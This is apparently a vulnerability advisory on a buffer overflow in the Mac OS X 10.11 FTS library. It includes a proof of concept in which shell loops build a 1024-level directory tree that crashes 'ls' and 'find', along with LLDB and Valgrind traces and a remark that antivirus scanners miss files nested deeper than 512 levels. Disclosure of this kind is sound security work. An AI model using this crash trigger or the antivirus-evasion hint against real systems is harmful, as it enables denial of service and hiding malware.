1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284 | MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow
Credit: Maksymilian Arciemowicz ( CXSECURITY )
Website:
http://cxsecurity.com/
http://cert.cx/
Affected software:
- MACOS's Commands such as: ls, find, rm
- iPhone 4s and later,
- Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes
- Apple TV (4th generation)
- probably more
Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting.
PoC:
Create an direcotry and perform the following actions:
# for i in {1..1024}; do mkdir B && cd B; done
...
cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g.
# for i in {1..1024}; do cd .. ; done
Then you can perform recursive 'ls' command. Let's run it ten times:
# for i in {1..10}; do ls -laR > /dev/null; done
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
Segmentation fault: 11
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
crash randometly. Let's see valgrind and lldb
LLDB:
...
/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/..../B/B:
Process 987 stopped
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
libsystem_c.dylib`strlen:
-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0
0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi
0x7fff97ab6d3a <+26>: andq $0xf, %rcx
0x7fff97ab6d3e <+30>: orq $-0x1, %rax
(lldb) x/x $rdi
error: memory read failed for 0xfeb66c00
(lldb) register read
General Purpose Registers:
rax = 0x00000000ffffffff
rbx = 0x00000000ffffffff
rcx = 0x00000000feb66c08
rdx = 0x00000000feb66c08
rdi = 0x00000000feb66c00
rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742
rbp = 0x00007fff5fbfe710
rsp = 0x00007fff5fbfe710
...
rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
...
(lldb) bt
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713
frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669
frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596
frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80
frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128
frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564
frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421
frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300
frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1
=== Time for Valgrind =============
B/B/B/B/B/../B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8
==1009== Invalid write of size 1
==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001DAD: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd
==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100001B92: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== by 0x104809C8D: ???
==1009==
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
==1009== Invalid read of size 1
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd
==1009==
==1009==
==1009== Process terminating with default action of signal 11 (SIGSEGV)
==1009== Access not within mapped region at address 0x102D20318
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)
==1009== by 0x1000024A7: ??? (in /bin/ls)
==1009== by 0x100001CFC: ??? (in /bin/ls)
==1009== by 0x100001A6F: ??? (in /bin/ls)
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)
==1009== by 0x1: ???
==1009== by 0x104809C8A: ???
==1009== If you believe this happened as a result of a stack
==1009== overflow in your program's main thread (unlikely but
==1009== possible), you can try to increase the size of the
==1009== main thread stack using the --main-stacksize= flag.
==1009== The main thread stack size used in this run was 8388608.
==1009==
==1009== HEAP SUMMARY:
==1009== in use at exit: 1,671,999 bytes in 6,025 blocks
==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated
==1009==
==1009== LEAK SUMMARY:
==1009== definitely lost: 519 bytes in 6 blocks
==1009== indirectly lost: 104 bytes in 6 blocks
==1009== possibly lost: 0 bytes in 0 blocks
==1009== still reachable: 1,645,151 bytes in 5,819 blocks
==1009== suppressed: 26,225 bytes in 194 blocks
==1009== Rerun with --leak-check=full to see details of leaked memory
==1009==
==1009== For counts of detected and suppressed errors, rerun with: -v
==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
Segmentation fault: 11
MacMini:SCANME cxsecurity$
It looks like a buffer overflow in memmove(). Code
http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c
The same issue for 'find' which may be used in cron scripts like
./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print
./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print
./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days
./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1;
Let's see valgrind output.
MacMini:SCANME cxsecurity$ valgrind find . -name "R"
==1055== Memcheck, a memory error detector
==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==1055== Command: find . -name R
==1055==
find: ./.Trashes: Permission denied
==1055== Invalid write of size 2
==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd
==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)
==1055== by 0x1000013FA: ??? (in /usr/bin/find)
==1055== by 0x1000052AD: ??? (in /usr/bin/find)
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)
==1055== by 0x3: ???
==1055== by 0x10480CC7F: ???
...
Invalid memory write without crashing.
BTW:
Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc.
====== References ===================================
https://cxsecurity.com/issue/WLB-2014040027
https://cxsecurity.com/cveshow/CVE-2014-4433/
https://cxsecurity.com/cveshow/CVE-2014-4434/
https://cxsecurity.com/issue/WLB-2013110059
https://cxsecurity.com/cveshow/CVE-2013-6799/
https://cxsecurity.com/issue/WLB-2010040284
https://cxsecurity.com/cveshow/CVE-2010-0105/
https://cxsecurity.com/issue/WLB-2005090063
====== Thanks ===================================
Kacper and Smash_ from DEVILTEAM for technical support.
====== Credit ===================================
Maksymilian Arciemowicz from cxsecurity.com
http://cxsecurity.com/
http://cert.cx/
http://cifrex.org/
|
